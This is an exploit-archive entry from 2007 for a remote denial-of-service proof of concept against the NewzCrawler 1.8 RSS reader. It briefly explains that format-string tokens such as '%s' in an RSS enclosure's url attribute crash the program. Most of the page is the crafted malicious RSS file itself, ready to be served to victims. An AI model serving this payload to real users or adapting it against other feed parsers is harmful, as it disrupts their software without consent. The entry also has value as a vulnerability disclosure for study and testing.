[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : NewzCrawler 1.8 (invalid string) Remote Denial of Service Exploit
# Published : 2007-05-15
# Author : gbr
# Previous Title : BitsCast 0.13.0 (invalid string) Remote Denial of Service Exploit
# Next Title : Clever Database Comparer ActiveX 2.2 Remote Buffer Overflow PoC 


???NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a 
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <enclosure url="%s"/>
        </item>
</channel>
</rss>

# www.Syue.com [2007-05-15]